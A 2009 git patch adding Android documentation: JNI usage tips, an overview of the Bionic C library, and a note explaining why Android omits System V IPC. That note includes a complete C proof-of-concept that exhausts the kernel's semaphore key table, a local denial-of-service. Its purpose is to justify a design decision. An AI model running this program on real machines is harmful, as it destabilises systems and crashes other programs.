From 4e159d95ebf23b5f72bb707b0cb1518ef96b3d03 Mon Sep 17 00:00:00 2001 From: David 'Digit' Turner Date: Tue, 19 May 2009 13:09:20 +0200 Subject: [PATCH] Add a bunch of documentation for the Android C library and the JNI interface to the NDK --- docs/system/jni/jni-tips.html | 512 ++++++++++++++++++++++++++++++++++++++++++ docs/system/libc/OVERVIEW.TXT | 388 ++++++++++++++++++++++++++++++++ docs/system/libc/SYSV-IPC.TXT | 103 +++++++++ 3 files changed, 1003 insertions(+) create mode 100644 docs/system/jni/jni-tips.html create mode 100644 docs/system/libc/OVERVIEW.TXT create mode 100644 docs/system/libc/SYSV-IPC.TXT diff --git a/docs/system/jni/jni-tips.html b/docs/system/jni/jni-tips.html new file mode 100644 index 0000000..e2c3b85 --- /dev/null +++ b/docs/system/jni/jni-tips.html @@ -0,0 +1,512 @@ + + + Android JNI Tips + + + + +

Android JNI Tips

+

+

+

+

+ +

+

What's JNI?

+

+ +JNI is the Java Native Interface. It defines a way for code written in the +Java programming language to interact with native +code, e.g. functions written in C/C++. It's VM-neutral, has support for loading code from +dynamic shared libraries, and while cumbersome at times is reasonably efficient. +

+You really should read through the +JNI spec for J2SE 1.6 +to get a sense for how JNI works and what features are available. Some +aspects of the interface aren't immediately obvious on +first reading, so you may find the next few sections handy. +The more detailed JNI Programmer's Guide and Specification can be found +here. +

+

+

JavaVM and JNIEnv

+

+JNI defines two key data structures, "JavaVM" and "JNIEnv". Both of these are essentially +pointers to pointers to function tables. (In the C++ version, it's a class whose sole member +is a pointer to a function table.) The JavaVM provides the "invocation interface" functions, +which allow you to create and destroy the VM. In theory you can have multiple VMs per process, +but Android's VMs only allow one. +

+The JNIEnv provides most of the JNI functions. Your native functions all receive a JNIEnv as +the first argument. +

+ +On some VMs, the JNIEnv is used for thread-local storage. For this reason, you cannot share a JNIEnv between threads. +If a piece of code has no other way to get its JNIEnv, you should share +the JavaVM, and use JavaVM->GetEnv to discover the thread's JNIEnv. +

+The C and C++ declarations of JNIEnv and JavaVM are different. "jni.h" provides different typedefs +depending on whether it's included into ".c" or ".cpp". For this reason it's a bad idea to +include JNIEnv arguments in header files included by both languages. (Put another way: if your +header file requires "#ifdef __cplusplus", you may have to do some extra work if anything in +that header refers to JNIEnv.) +

+

+

jclassID, jmethodID, and jfieldID

+

+If you want to access an object's field from native code, you would do the following: +

+

+

+Similarly, to call a method, you'd first get a class object reference and then a method ID. The IDs are often just +pointers to internal VM data structures. Looking them up may require several string +comparisons, but once you have them the actual call to get the field or invoke the method +is very quick. +

+If performance is important, it's useful to look the values up once and cache the results +in your native code. Because we are limiting ourselves to one VM per process, it's reasonable +to store this data in a static local structure. +

+The class references, field IDs, and method IDs are guaranteed valid until the class is unloaded. Classes +are only unloaded if all classes associated with a ClassLoader can be garbage collected, +which is rare but will not be impossible in our system. The jclassID +is a class reference and must be protected with a call +to NewGlobalRef (see the next section). +

+If you would like to cache the IDs when a class is loaded, and automatically re-cache them +if the class is ever unloaded and reloaded, the correct way to initialize +the IDs is to add a piece of code that looks like this to the appropriate class: +

+ +

    /*
+     * We use a class initializer to allow the native code to cache some
+     * field offsets.
+     */
+
+    /*
+     * A native function that looks up and caches interesting
+     * class/field/method IDs for this class.  Returns false on failure.
+     */
+    native private static boolean nativeClassInit();
+ 
+    /*
+     * Invoke the native initializer when the class is loaded.
+     */
+    static {
+        if (!nativeClassInit())
+            throw new RuntimeException("native init failed");
+    }
+
+

+Create a nativeClassInit method in your C/C++ code that performs the ID lookups. The code +will be executed once, when the class is initialized. If the class is ever unloaded and +then reloaded, it will be executed again. (See the implementation of java.io.FileDescriptor +for an example in our source tree.) +

+

+

+

Local vs. Global References

+

+Every object that JNI returns is a "local reference". This means that it's valid for the +duration of the current native method in the current thread. +Even if the object itself continues to live on after the native method returns, the reference is not valid. +This applies to all sub-classes of jobject, including jclass and jarray. +(Dalvik VM will warn you about this when -Xcheck:jni is enabled.) +

+ +If you want to hold on to a reference for a longer period, you must use a "global" reference. +The NewGlobalRef function takes the local reference as +an argument and returns a global one: + +

jobject* localRef = [...];
+jobject* globalRef;
+globalRef = env->NewGlobalRef(localRef);
+
+ +The global reference is guaranteed to be valid until you call +DeleteGlobalRef. +

+All JNI methods accept both local and global references as arguments. +

+Programmers are required to "not excessively allocate" local references. In practical terms this means +that if you're creating large numbers of local references, perhaps while running through an array of +Objects, you should free them manually with +DeleteLocalRef instead of letting JNI do it for you. The +VM is only required to reserve slots for +16 local references, so if you need more than that you should either delete as you go or use +EnsureLocalCapacity to reserve more. +

+Note: method and field IDs are just 32-bit identifiers, not object +references, and should not be passed to NewGlobalRef. The raw data +pointers returned by functions like GetStringUTFChars +and GetByteArrayElements are also not objects. +

+One unusual case deserves separate mention. If you attach a native +thread to the VM with AttachCurrentThread, the code you are running will +never "return" to the VM until the thread detaches from the VM. Any local +references you create will have to be deleted manually unless the thread +is about to exit or detach. +

+

+

+

UTF-8 and UTF-16 Strings

+

+The Java programming language uses UTF-16. For convenience, JNI provides methods that work with "modified UTF-8" encoding +as well. (Some VMs use the modified UTF-8 internally to store strings; ours do not.) The +modified encoding only supports the 8- and 16-bit forms, and stores ASCII NUL values in a 16-bit encoding. +The nice thing about it is that you can count on having C-style zero-terminated strings, +suitable for use with standard libc string functions. The down side is that you cannot pass +arbitrary UTF-8 data into the VM and expect it to work correctly. +

+It's usually best to operate with UTF-16 strings. With our current VMs, the +GetStringChars method +does not require a copy, whereas GetStringUTFChars requires a malloc and a UTF conversion. Note that +UTF-16 strings are not zero-terminated, and \u0000 is allowed, +so you need to hang on to the string length as well as +the string pointer. + +

+Don't forget to Release the strings you Get. The string functions return jchar* or jbyte*, which +are pointers to primitive types rather than local references. They are +guaranteed valid until Release is called, which means they are not +released when the native method returns. +

+

+ + +

Primitive Arrays

+

+JNI provides functions for accessing the contents of array objects. +While arrays of objects must be accessed one entry at a time, arrays of +primitives can be read and written directly as if they were declared in C. +

+To make the interface as efficient as possible without constraining +the VM implementation, +the Get<PrimitiveType>ArrayElements family of calls +allows the VM to either return a pointer to the actual elements, or +allocate some memory and make a copy. Either way, the raw pointer returned +is guaranteed to be valid until the corresponding Release call +is issued (which implies that, if the data wasn't copied, the array object +will be pinned down and can't be relocated as part of compacting the heap). +You must Release every array you Get. Also, if the Get +call fails, you must ensure that your code doesn't try to Release a NULL +pointer later. +

+You can determine whether or not the data was copied by passing in a +non-NULL pointer for the isCopy argument. This is rarely +useful. +

+The Release call takes a mode argument that can +have one of three values. The actions performed by the VM depend upon +whether it returned a pointer to the actual data or a copy of it: +

+

+One reason for checking the isCopy flag is to know if +you need to call Release with JNI_COMMIT +after making changes to an array -- if you're alternating between making +changes and executing code that uses the contents of the array, you may be +able to +skip the no-op commit. Another possible reason for checking the flag is for +efficient handling of JNI_ABORT. For example, you might want +to get an array, modify it in place, pass pieces to other functions, and +then discard the changes. If you know that JNI is making a new copy for +you, there's no need to create another "editable" copy. If JNI is passing +you the original, then you do need to make your own copy. +

+Some have asserted that you can skip the Release call if +*isCopy is false. This is not the case. If no copy buffer was +allocated, then the original memory must be pinned down and can't be moved by +the garbage collector. +

+Also note that the JNI_COMMIT flag does NOT release the array, +and you will need to call Release again with a different flag +eventually. +

+

+ + +

Region Calls

+ +

+There is an alternative to calls like Get<Type>ArrayElements +and GetStringChars that may be very helpful when all you want +to do is copy data in or out. Consider the following: +

+    jbyte* data = env->GetByteArrayElements(array, NULL);
+    if (data != NULL) {
+        memcpy(buffer, data, len);
+        env->ReleaseByteArrayElements(array, data, JNI_ABORT);
+    }
+
+

+This grabs the array, copies the first len byte +elements out of it, and then releases the array. Depending upon the VM +policies the Get call will either pin or copy the array contents. +We copy the data (for perhaps a second time), then call Release; in this case +we use JNI_ABORT so there's no chance of a third copy. +

+We can accomplish the same thing with this: +

+    env->GetByteArrayRegion(array, 0, len, buffer);
+
+

+This accomplishes the same thing, with several advantages: +

+

+Similarly, you can use the Set<Type>ArrayRegion call +to copy data into an array, and GetStringRegion or +GetStringUTFRegion to copy characters out of a +String. + + +

Exceptions

+

+You may not call most JNI functions while an exception is pending. +Your code is expected to notice the exception (via the function's return value, +ExceptionCheck(), or ExceptionOccurred()) and return, +or clear the exception and handle it. +

+The only JNI functions that you are allowed to call while an exception is +pending are: +

+

+Note that exceptions thrown by interpreted code do not "leap over" native code, +and C++ exceptions thrown by native code are not handled by Dalvik. +The JNI Throw and ThrowNew instructions just +set an exception pointer in the current thread. Upon returning to the VM from +native code, the exception will be noted and handled appropriately. +

+Native code can "catch" an exception by calling ExceptionCheck or +ExceptionOccurred, and clear it with +ExceptionClear. As usual, +discarding exceptions without handling them can lead to problems. +

+There are no built-in functions for manipulating the Throwable object +itself, so if you want to (say) get the exception string you will need to +find the Throwable class, look up the method ID for +getMessage "()Ljava/lang/String;", invoke it, and if the result +is non-NULL use GetStringUTFChars to get something you can +hand to printf or a LOG macro. + +

+

+

Extended Checking

+

+JNI does very little error checking. Calling SetFieldInt +on an Object field will succeed, even if the field is marked +private and final. The +goal is to minimize the overhead on the assumption that, if you've written it in native code, +you probably did it for performance reasons. +

+Some VMs support extended checking with the "-Xcheck:jni" flag. If the flag is set, the VM +puts a different table of functions into the JavaVM and JNIEnv pointers. These functions do +an extended series of checks before calling the standard implementation. + +

+Some things that may be verified: +

+

+ +

Accessibility of methods and fields (i.e. public vs. private) is not +checked. +

+The Dalvik VM supports the -Xcheck:jni flag. For a +description of how to enable it for Android apps, see +Controlling the Embedded VM. +It's currently enabled by default in the Android emulator and on +"engineering" device builds. + +

+JNI checks can be modified with the -Xjniopts command-line +flag. Currently supported values include: +

+
+
forcecopy +
When set, any function that can return a copy of the original data +(array of primitive values, UTF-16 chars) will always do so. The buffers +are over-allocated and surrounded with a guard pattern to help identify +code writing outside the buffer, and the contents are erased before the +storage is freed to trip up code that uses the data after calling Release. +
warnonly +
By default, JNI "warnings" cause the VM to abort. With this flag +it continues on. +
+ + +

+

Native Libraries

+

+You can load native code from shared libraries with the standard +System.loadLibrary() call. The +preferred way to get at your native code is: +

+

+

+The JNI_OnLoad function should look something like this if +written in C: +

jint JNI_OnLoad(JavaVM* vm, void* reserved)
+{
+    JNIEnv* env;
+    if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK)
+        return -1;
+
+    /* get class with (*env)->FindClass */
+    /* register methods with (*env)->RegisterNatives */
+
+    return JNI_VERSION_1_4;
+}
+
+

+You can also call System.load() with the full path name of the +shared library. For Android apps, you can get the full path to the +application's private data storage area from the context object. +

+Dalvik does support "discovery" of native methods that are named in a +specific way (see + the JNI spec for details), but this is a less desirable +approach. It requires more space in the shared object symbol table, +loading is slower because it requires string searches through all of the +loaded shared libraries, and if a method signature is wrong you won't know +about it until the first time the method is actually used. +

+ + +

64-bit Considerations

+ +

+Android is currently expected to run on 32-bit platforms. In theory it +could be built for a 64-bit system, but that is not a goal at this time. +For the most part this isn't something that you will need to worry about +when interacting with native code, +but it becomes significant if you plan to store pointers to native +structures in integer fields in an object. To support architectures +that use 64-bit pointers, you need to stash your native pointers in a +long field rather than an int. + + +

Unsupported Features

+

All JNI 1.6 features are supported, with the following exceptions: +

+ +

+ +
Copyright © 2008 The Android Open Source Project
+ + + diff --git a/docs/system/libc/OVERVIEW.TXT b/docs/system/libc/OVERVIEW.TXT new file mode 100644 index 0000000..4c153b1 --- /dev/null +++ b/docs/system/libc/OVERVIEW.TXT @@ -0,0 +1,388 @@ +Bionic C Library Overview: +========================== + +Introduction: + +Core Philosophy: + + The core idea behind Bionic's design is: KEEP IT REALLY SIMPLE. + + This implies that the C library should only provide lightweight wrappers + around kernel facilities and not try to be too smart to deal with edge cases. + + The name "Bionic" comes from the fact that it is part-BSD and part-Linux: + its source code consists in a mix of BSD C library pieces with custom + Linux-specific bits used to deal with threads, processes, signals and a few + others things. + + All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific + bits carry the Android Open Source Project copyright disclaimer. And + everything is released under the BSD license. + +Architectures: + + Bionic currently supports the ARM and x86 instruction sets. In theory, it + should be possible to support more, but this may require a little work (e.g. + adding system call IDs to SYSCALLS.TXT, described below, or modifying the + dynamic linker). + + The ARM-specific code is under arch-arm/ and the x86-specific one is under + arch-x86/ + + Note that the x86 version is only meant to run on an x86 Android device. We + make absolutely no claim that you could build and use Bionic on a stock x86 + Linux distribution (though that would be cool, so patches are welcomed :-)) + +Syscall stubs: + + Each system call function is implemented by a tiny assembler source fragment + (called a "syscall stub"), which is generated automatically by + tools/gensyscalls.py which reads the SYSCALLS.TXT file for input. + + SYSCALLS.TXT contains the list of all syscall stubs to generate, along with + the corresponding syscall numeric identifier (which may differ between ARM + and x86), and its signature + + If you modify this file, you may want to use tools/checksyscalls.py which + checks its content against official Linux kernel header files, and will + report errors when invalid syscall ids are used. + + Sometimes, the C library function is really a wrapper that calls the + corresponding syscall with another name. For example, the exit() function + is provided by the C library and calls the _exit() syscall stub. + + See SYSCALLS.TXT for documentation and details. + + +time_t: + + time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version + would be preferrable to avoid the Y2038 bug, but the kernel maintainers + consider that this is not needed at the moment. + + Instead, Bionic provides a header that defines a time64_t type, + and related functions like mktime64(), localtime64(), etc... + + +Timezone management: + + The name of the current timezone is taken from the TZ environment variable, + if defined. Otherwise, the system property named 'persist.sys.timezone' is + checked instead. + + The zoneinfo timezone database and index files are located under directory + /system/usr/share/zoneinfo, instead of the more Posix-compliant path of + /usr/share/zoneinfo + + +off_t: + + For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant + due to BSD inheritance, but off64_t should be available as a typedef to ease + porting of current Linux-specific code. + + +Linux kernel headers: + + Bionic comes with its own set of "clean" Linux kernel headers to allow + user-space code to use kernel-specific declarations (e.g. IOCTLs, structure + declarations, constants, etc...). They are located in: + + ./kernel/common, + ./kernel/arch-arm + ./kernel/arch-x86 + + These headers have been generated by a tool (kernel/tools/update-all.py) to + only include the public definitions from the original Linux kernel headers. + + If you want to know why and how this is done, read kernel/README.TXT to get + all the (gory) details. + + +PThread implementation: + + Bionic's C library comes with its own pthread implementation bundled in. + This is different from other historical C libraries which: + + - place it in an external library (-lpthread) + - play linker tricks with weak symbols at dynamic link time + + The support for real-time features (a.k.a. -lrt) is also bundled in the + C library. + + The implementation is based on futexes and strives to provide *very* short + code paths for common operations. Notable features are the following: + + - pthread_mutex_t, pthread_cond_t are only 4 bytes each. + + - Normal, recursive and error-check mutexes are supported, and the code + path is heavily optimized for the normal case, which is used most of + the time. + + - Process-shared mutexes and condition variables are not supported. + Their implementation requires far more complexity and was absolutely + not needed for Android (which uses other inter-process synchronization + capabilities). + + Note that they could be added in the future without breaking the ABI + by specifying more sophisticated code paths (which may make the common + paths slightly slower though). + + - There is currently no support for read/write locks, priority-ceiling in + mutexes and other more advanced features. Again, the main idea being + that this was not needed for Android at all but could be added in the + future. + +pthread_cancel(): + + pthread_cancel() will *not* be supported in Bionic, because doing this would + involve making the C library significantly bigger for very little benefit. + + Consider that: + + - A proper implementation must insert pthread cancellation checks in a lot + of different places of the C library. And conformance is very difficult + to test properly. + + - A proper implementation must also clean up resources, like releasing + memory, or unlocking mutexes, properly if the cancellation happens in a + complex function (e.g. inside gethostbyname() or fprintf() + complex + formatting rules). This tends to slow down the path of many functions. + + - pthread cancellation cannot stop all threads: e.g. it can't do anything + against an infinite loop + + - pthread cancellation itself has short-comings and isn't very portable + (see http://advogato.org/person/slamb/diary.html?start=49 for example). + + All of this is contrary to the Bionic design goals. If your code depends on + thread cancellation, please consider alternatives. + + Note however that Bionic does implement pthread_cleanup_push() and + pthread_cleanup_pop(), which can be used to handle cleanups that happen when + a thread voluntarily exits through pthread_exit() or returning from its + main function. + + +pthread_once(): + + Do not call fork() within a callback provided to pthread_once(). Doing this + may result in a deadlock in the child process the next time it calls + pthread_once(). + + Also, you can't throw a C++ Exception from the callback (see C++ Exception + Support below). + + The current implementation of pthread_once() lacks the necessary support of + multi-core-safe double-checked-locking (read and write barriers). + + +Thread-specific data + + The thread-specific storage only provides for a bit less than 64 + pthread_key_t objects to each process. The implementation provides 64 real + slots but also uses about 5 of them (exact number may depend on + implementation) for its own use (e.g. two slots are pre-allocated by the C + library to speed-up the Android OpenGL sub-system). + + Note that Posix mandates a minimum of 128 slots, but we do not claim to be + Posix-compliant. + + Except for the main thread, the TLS area is stored at the top of the stack. + See comments in bionic/libc/bionic/pthread.c for details. + + At the moment, thread-local storage defined through the __thread compiler + keyword is not supported by the Bionic C library and dynamic linker. + + +Multi-core support + + At the moment, Bionic does not provide or use read/write memory barriers. + This means that using it on certain multi-core systems might not be + supported, depending on its exact CPU architecture. + + +Android-specific features: + + Bionic provides a small number of Android-specific features to its clients: + + - access to system properties: + + Android provides a simple shared value/key space to all processes on the + system. It stores a liberal number of 'properties', each of them being a + simple size-limited string that can be associated to a size-limited + string value. + + The header can be used to read system + properties and also defines the maximum size of keys and values. + + - Android-specific user/group management: + + There is no /etc/passwd or /etc/groups in Android. By design, it is + meant to be used by a single handset user. On the other hand, Android + uses the Linux user/group management features extensively to secure + process permissions, like access to various filesystem directories. + + In the Android scheme, each installed application gets its own + uid_t/gid_t starting from 10000; lower numerical ids are reserved for + system daemons. + + getpwnam() recognizes some hard-coded subsystems names (e.g. "radio") + and will translate them to their low-user-id values. It also recognizes + "app_1234" as the synthetic name of the application that was installed + with uid 10000 + 1234, which is 11234. getgrnam() works similarly + + getgrouplist() will always return a single group for any user name, + which is the one passed as an input parameter. + + getgrgid() will similarly only return a structure that contains a + single-element members list, corresponding to the user with the same + numerical value than the group. + + See bionic/libc/bionic/stubs.c for more details. + + - getservent() + + There is no /etc/services on Android. Instead the C library embeds a + constant list of services in its executable, which is parsed on demand + by the various functions that depend on it. See + bionic/libc/netbsd/net/getservent.c and + bionic/libc/netbsd/net/services.h + + The list of services defined internally might change liberally in the + future. This feature is mostly historically and is very rarely used. + + The getservent() returns thread-local data. getservbyport() and + getservbyname() are also implemented in a similar fashion. + + - getprotoent() + + There is no /etc/protocol on Android. Bionic does not currently + implement getprotoent() and related functions. If added, it will + likely be done in a way similar to getservent() + +DNS resolver: + + Bionic uses a NetBSD-derived resolver library which has been modified in + the following ways: + + - don't implement the name-server-switch feature (a.k.a. ) + + - read /system/etc/resolv.conf instead of /etc/resolv.conf + + - read the list of servers from system properties. the code looks for + 'net.dns1', 'net.dns2', etc.. Each property should contain the IP + address of a DNS server. + + these properties are set/modified by other parts of the Android system + (e.g. the dhcpd daemon). + + the implementation also supports per-process DNS server list, using the + properties 'net.dns1.', 'net.dns2.', etc... Where stands + for the numerical ID of the current process. + + - when performing a query, use a properly randomized Query ID (instead of + a incremented one), for increased security. + + - when performing a query, bind the local client socket to a random port + for increased security. + + - get rid of *many* unfortunate thread-safety issues in the original code + + Bionic does *not* expose implementation details of its DNS resolver; the + content of is intentionally blank. The resolver + implementation might change completely in the future. + + +PThread Real-Time Timers: + + timer_create(), timer_gettime(), timer_settime() and timer_getoverrun() are + supported. + + Bionic also now supports SIGEV_THREAD real-time timers (see timer_create()). + The implementation simply uses a single thread per timer, unlike GLibc which + uses complex heuristics to try to use the less threads possible when several + timers with compatible properties are used. + + This means that if your code uses a lot of SIGEV_THREAD timers, your program + may consume a lot of memory. However, if your program needs many of these + timers, it'd better handle timeout events directly instead. + + Other timers (e.g. SIGEV_SIGNAL) are handled by the kernel and use much less + system resources. + + +Binary Compatibility: + + Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc + or any known Linux C library. This means several things: + + - You cannot expect to build something against the GNU C Library headers and + have it dynamically link properly to Bionic later. + + - You should *really* use the Android toolchain to build your program against + Bionic. The toolchain deals with many important details that are crucial + to get something working properly. + + Failure to do so will usually result in the inability to run or link your + program, or even runtime crashes. Several random web pages on the Internet + describe how you can succesfully write a "hello-world" program with the + ARM GNU toolchain. These examples usually work by chance, if anything else, + and you should not follow these instructions unless you want to waste a lot + of your time in the process. + + Note however that you *can* generate a binary that is built against the + GNU C Library headers and then statically linked to it. The corresponding + executable should be able to run (if it doesn't use dlopen()/dlsym()) + + +Dynamic Linker: + + Bionic comes with its own dynamic linker (just like ld.so on Linux really + comes from GLibc). This linker does not support all the relocations + generated by other GCC ARM toolchains. + + +C++ Exceptions Support: + + At the moment, Bionic doesn't support C++ exceptions, what this really means + is the following: + + - If pthread_once() is called with a C++ callback that throws an exception, + then the C library will keep the corresponding pthread_once_t mutex + locked. Any further call to pthread_once() will result in a deadlock. + + A proper implementation should be able to register a C++ exception + cleanup handler before the callback to properly unlock the + pthread_once_t. Unfortunately this requires tricky assembly code that + is highly dependent on the compiler. + + This feature is not planned to be supported anytime soon. + + - The same problem may arise if you throw an exception within a callback + called from the C library. Fortunately, these cases are very rare in the + real-world, but any callback you provide to the C library should *not* + throw an exception. + + - Bionic lacks a few support functions to have exception support work + properly. + +System V IPCs: + + Bionic intentionally does not provide support for System-V IPCs mechanisms, + like the ones provided by semget(), shmget(), msgget(). The reason for this + is to avoid denial-of-service. For a detailed rationale about this, please + read the file docs/SYSV-IPCS.TXT. + +Include Paths: + + The Android build system should automatically provide the necessary include + paths required to build against the C library headers. However, if you want + to do that yourself, you will need to add: + + libc/arch-$ARCH/include + libc/include + libc/kernel/common + libc/kernel/arch-$ARCH + + to your C include path. diff --git a/docs/system/libc/SYSV-IPC.TXT b/docs/system/libc/SYSV-IPC.TXT new file mode 100644 index 0000000..5a3eef0 --- /dev/null +++ b/docs/system/libc/SYSV-IPC.TXT @@ -0,0 +1,103 @@ +Android does not support System V IPCs, i.e. the facilities provided by the +following standard Posix headers: + + /* SysV semaphores */ + /* SysV shared memory segments */ + /* SysV message queues */ + /* General IPC definitions */ + +The reason for this is due to the fact that, by design, they lead to global +kernel resource leakage. + +For example, there is no way to automatically release a SysV semaphore +allocated in the kernel when: + +- a buggy or malicious process exits +- a non-buggy and non-malicious process crashes or is explicitely killed. + +Killing processes automatically to make room for new ones is an +important part of Android's application lifecycle implementation. This means +that, even assuming only non-buggy and non-malicious code, it is very likely +that over time, the kernel global tables used to implement SysV IPCs will fill +up. + +At that point, strange failures are likely to occur and prevent programs that +use them to run properly until the next reboot of the system. + +And we can't ignore potential malicious applications. As a proof of concept +here is a simple exploit that you can run on a standard Linux box today: + +--------------- cut here ------------------------ +#include +#include +#include +#include +#include +#include + +#define NUM_SEMAPHORES 32 +#define MAX_FAILS 10 + +int main(void) +{ + int counter = 0; + int fails = 0; + + if (counter == IPC_PRIVATE) + counter++; + + printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES); + + for (;;) { + int ret = fork(); + int status; + + if (ret < 0) { + perror("fork:"); + break; + } + if (ret == 0) { + /* in the child */ + ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT ); + if (ret < 0) { + return errno; + } + return 0; + } + else { + /* in the parent */ + ret = wait(&status); + if (ret < 0) { + perror("waitpid:"); + break; + } + if (status != 0) { + status = WEXITSTATUS(status); + fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret, + counter, status); + if (++fails >= MAX_FAILS) + break; + } + } + + counter++; + if ((counter % 1000) == 0) { + printf("%d\n", counter); + } + if (counter == IPC_PRIVATE) + counter++; + } + return 0; +} +--------------- cut here ------------------------ + +If you run it on a typical Linux distribution today, you'll discover that it +will quickly fill up the kernel's table of unique key_t values, and that +strange things will happen in some parts of the system, but not all. + +(You can use the "ipcs -u" command to get a summary describing the kernel + tables and their allocations) + +For example, in our experience, anything program launched after that that +calls strerror() will simply crash. The USB sub-system starts spoutting weird +errors to the system console, etc... -- 2.11.0